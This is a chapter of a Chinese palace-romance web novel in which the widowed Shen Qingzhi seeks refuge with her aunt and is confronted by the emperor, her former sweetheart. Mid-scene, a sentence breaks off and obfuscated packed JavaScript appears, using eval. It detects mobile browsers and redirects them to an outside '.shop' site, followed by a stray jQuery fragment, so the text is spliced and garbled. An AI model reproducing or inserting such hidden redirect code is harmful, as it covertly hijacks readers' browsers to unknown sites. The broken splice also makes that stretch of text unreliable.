玉佩终究还是没有修好。
匠人小心翼翼地捧起那块缺了一角的羊脂玉，端详了许久，最终还是摇了摇头，说玉质虽好，但碎得太彻底，即便用最细的金丝镶嵌，裂痕也遮不住，反倒会显得此地无银三百两。
沈清栀将那枚玉佩重新放回匣子里，指腹轻轻摩挲过那个缺口，忽然笑了一下。
确实，碎都碎了，修得再好也不是原来那块了。
就像有些东西，碎了就是碎了。十六岁那年她亲手摔碎的东西，如今即便把玉佩镶上金子，也变不回当初那个春日午后，变不回那个少年太子通红着眼眶说“此生不复相见”的样子。
“不必修了。”她合上匣子，语气平淡得像在说一件无关紧要的事，“收起来吧。”
翠屏欲言又止，终究还是把那匣子收进了箱笼最深处。
进宫那日是个阴天。
沈清栀坐在铜镜前，看着翠屏为她梳妆。孝期未过，一切浓艳的颜色都不能用，她只挑了一根素银簪子绾发，耳畔坠了两粒米珠，小得几乎看不见。衣裳是月白色的，领口和袖口绣着素色的兰草，远远看去像一株刚从水里捞起来的白荷，清清冷冷，不沾半分烟火气。
翠屏帮她系好最后一根衣带，退后一步看了看，眼眶忽然有点红。
“小姐还是好看的。”她小声说，声音里带着一丝难过，“跟从前一样好看。”
沈清栀没有接话。
从前是从前，从前那个被太傅捧在手心里的嫡女，和现在这个死了丈夫、被婆家嫌弃、在侯府举步维艰的寡妇，终究不是同一个人了。
她站起身，最后看了一眼铜镜里的自己。
走吧。
淑太妃住在寿康宫偏殿，是先帝去世后搬过去的。沈清栀被掌事姑姑引进去的时候，淑太妃正歪在临窗的软榻上，膝头盖着一条薄毯，手里握着一串檀木佛珠，阖着眼睛，像是在打盹，又像是在想什么心事。
听见脚步声，她睁开眼。
那是一双看尽了深宫沉浮的眼睛，浑浊中带着锐利，锐利中又藏着一丝不易察觉的温柔。她看了沈清栀三息，然后伸出手来。
“过来，让姑母看看。”
只这一句话，沈清栀的眼泪就掉了下来。
不是演的。
从踏入寿康宫的那一刻起，原主残留在身体里的情绪就像被人拧开了开关，那些委屈、那些不甘、那些无处诉说的苦楚，全部涌了上来。她跪倒在淑太妃膝前，将脸埋在那双枯瘦的手掌里，哭得浑身发抖，哭得几乎喘不上气。
淑太妃没有劝她，只是轻轻拍着她的背，一下一下，像小时候哄她睡觉那样。
“哭吧。”老太太的声音沙哑而慈和，“哭出来就好了。”
沈清栀哭了很久。
她把赵远纳外室的事说了，把婆婆要把那孩子记在她名下的事说了，把原主被那句话逼得吐血卧床的事也说了——当然，是以自己的口吻说的。她没有添油加醋，只是平铺直叙，可正是这种平静的叙述，比任何哭诉都更有力量。
淑太妃听完，沉默了很久。
佛珠在她手里转了一圈，又转了一圈。
“你打算怎么办？”老太太问。
沈清栀抬起红肿的眼睛，看着淑太妃，一字一句地说：“姑母，我不想留在侯府了。”
淑太妃看了她很久，叹息道：“清栀不能再像小时候任性了。赵远才去世，你就回娘家，会被说沈家家风不正、薄情寡义，连带着你妹妹们和侄女的婚事也会受影响。”
“先在这儿住几日，别的事，从长计议。”
就这样，沈清栀在寿康宫住了下来。
头两日她哪里都没去，每日陪淑太妃说话、抄经、念佛，日子过得安静得像一潭死水。淑太妃也没有急着追问她的打算，只是留她住下，仿佛真的只是思念侄女，想留她在身边多陪几日。
第三日午后，淑太妃说要去给先帝抄几卷佛经，让沈清栀代为执笔。她身子不好，握笔久了手会抖，抄出来的字迹不够恭敬。沈清栀自然是答应的。
佛堂在寿康宫后院深处，不大，胜在清净。一炉檀香袅袅升起，将午后的日光熏成薄薄的金色。沈清栀跪坐在蒲团上，提笔蘸墨，一笔一划地抄写《心经》。
观自在菩萨，行深般若波罗蜜多时，照见五蕴皆空，度一切苦厄……
她的字是太傅亲手教的，端正中有风骨，却又不失女子的秀润。此刻一笔一划写在宣纸上，安静得像一幅画。
她抄得太专注，以至于没有听见身后的脚步声。
直到一道清冽的檀香味飘过来，混着龙涎香的气息，她才猛然察觉身后有人。
笔尖一顿，一滴墨落在纸上，洇开一个圆圆的黑点。
沈清栀没有回头。
不是不想，是不敢。
身后的人没有说话。
安静持续了很久，久到沈清栀以为那只是她的错觉。
然后她听见一个声音，低沉，清冽，带着一种刻意压制的平静。
“沈氏。”他叫她的姓，承认她嫁为人妇的身份，却又不肯为她冠以夫姓。
“你进宫做什么？”
沈清栀放下笔，转过身，膝盖在蒲团上转了个方向，然后规规矩矩地行礼。
“臣妇参见陛下。”
她低着头，没有抬起来。
萧衍站在佛堂门口，逆着光，看不清表情。他穿着一件玄色的常服，没有戴冠，只用一根玉簪束发，看起来像是从哪个奏折堆里刚起身，连衣裳都没来得及换。
他比几年前瘦了，眉骨显得更高，下颌线条更硬。那双琥珀色的眼睛还是老样子，只是眼底多了一层挥之不去的阴翳。
他没有让她起来。
“朕问你的话，你还没回答。”
沈清栀跪在地上，维持着行礼的姿势，声音不高不低：“回陛下，臣妇思念姑母，听闻姑母身子不适，特来请安。”
佛堂里安静了一瞬。
然后萧衍笑了一声。
那笑声很轻，短促得像一声叹息，落在寂静的佛堂里却格外清晰。不是高兴，也不是愤怒，更像是一种意料之中的失望——仿佛她说了什么他早就猜到的话，而那个答案让他觉得索然无味。
“思念姑母。”他重复了一遍这四个字，语气平平淡淡的，听不出喜怒，“沈清栀，你什么时候学会跟朕撒谎了？”
沈清栀的手指微微蜷了一下。
“臣妇不敢。”
“不敢？”萧衍绕过她，走到供桌前，伸手拨了一下香炉里的灰。他的动作很随意，像是在自己书房里，而不是在先帝的佛堂。灰烬被拨开，露出里面暗红色的火星，明明灭灭的，映在他的眼底。
“你当年拒绝朕的时候，胆子不是挺大的吗？”
这句话像一把生了锈的刀，割下去不疼，但钝钝的，扯着皮肉，让人无处可躲。
沈清栀抿了抿唇，没有说话。
萧衍转过身来，居高临下地看着她。
两人一两年没见了。这姑娘确实倔强，他说了此生不复相见，除非宫宴避无可避，她就真的不再进宫了。此刻她跪在那里，一身月白，素得像一张纸，仿佛风一吹就会碎。可那双眼睛——那双眼睛还是不肯碎。
孝期的素服穿在她身上空空荡荡的，领口扣得严丝合缝，连一截锁骨都没有露出来，可正是这种严严实实的包裹，让人忍不住去想那些被遮住的地方——那双肩，那截腰身，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560598|202757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那具被这场婚姻折磨得形销骨立的躯体。
——他在想什么？
萧衍猛地收住目光，下颌微微绷紧。
他告诉自己，他只是太久没见这个女人了，所以多看了两眼。仅此而已。
“朕听闻忠勇侯府近来很热闹。”他的语气听起来像是闲聊，眼神却已经移开了，落在她身侧的经卷上，“赵远的外室带着孩子找上门了？”
沈清栀心口一跳。
她进宫不过三天，连淑太妃那边她都只说了个大概，皇帝怎么会知道得这么清楚？除非——他一直让人盯着侯府。或者说，一直让人盯着她。
这个念头从脑海中一闪而过，她迅速将它按了下去。
“陛下耳目灵通。”她垂下眼，语气恭敬而疏离，“确有此事。”
“所以你就跑到宫里来，找淑太妃哭诉？”
他忽然俯下身。
沈清栀来不及反应，下颌已经被两根手指捏住了。那力道不轻不重，却带着一种不容拒绝的强势，迫使她抬起头来。他的指腹微凉，带着薄茧——那是常年握笔和拉弓留下的痕迹，粗粝地贴着她的皮肤，像一片细小的砂纸。
“找淑太妃有用吗？”
他的声音很轻，轻得像耳语，在寂静的佛堂里却格外清晰。那双琥珀色的眼睛近在咫尺，眼底的阴翳被此刻的距离削薄了，露出下面更深的、更暗的东西。
沈清栀被迫仰着脸，视线无处可逃地撞进那双眼睛里。
近得能看清他眉骨的弧度，看清他眼底那一层淡淡的青色——那是长久睡眠不足留下的痕迹。近得能感受到他呼吸的温度，清冽的，带着龙涎香的气息，拂过她的眉心。
她应该害怕的。
可她只是那样仰着脸，直直的看着他。
萧衍被她清冽的目光烫了一下，手指微微收紧了一瞬，随即松开。
沈清栀跪在地上，手指攥紧了裙摆，又松开。她抬起头，迎上他的目光，那双眼睛里没有了方才的闪躲和怯意，取而代之的是一种坦然的、近乎孤注一掷的平静。
“陛下，”她说，声音轻而稳，带着一丝不易察觉的沙哑，“臣妇进宫，确实不只是为了思念姑母。”
萧衍的眼神微微变了。
“当年的事，是臣妇辜负了殿下。”
她没有再用“陛下”这个疏离的称呼，而是用了“殿下”——那个还属于少年太子的称呼，那个还没有被皇权和高墙隔开的、属于春日海棠和碎裂玉佩的称呼。
萧衍冷笑。
“一生一世一双人。”他替她说出了那五个字，声音压得很低，低到像是说给自己听的，“赵远给了你？”
沈清栀沉默了。
沉默本身就是最好的回答。
萧衍看着她沉默的样子，忽然觉得胸口那个被他捂了很多年的东西裂开了一条缝。冷风灌进去，又疼又空。他想说：你看，你选错了。
可他什么都没说。因为他还很她，恨她不懂他的一颗少年真心，他们自小青梅竹马的长大，她却连点点的信任都不肯给他。
“沈清栀，你自诩聪慧。”他的声音不大，每个字却都像是从齿缝里碾过去的，“朕小时候要背一个时辰的书，你半个时辰就会背了。却没想到是个眼盲心瞎的。”
萧衍看着她低垂的眉眼，看着她微微抿紧的唇角，看着她跪在那里、脊背却依然挺得笔直的样子——明明已经无路可走了，明明已经跪在他面前了，却还是不肯弯下那根骨头。
他恨透了这副样子。
更恨自己到现在还觉得这副样子好看。
“你说情分。”他的声音忽然低了下去，低到像是从喉咙深处挤出来的，“你觉得我们之间还有什么情分？”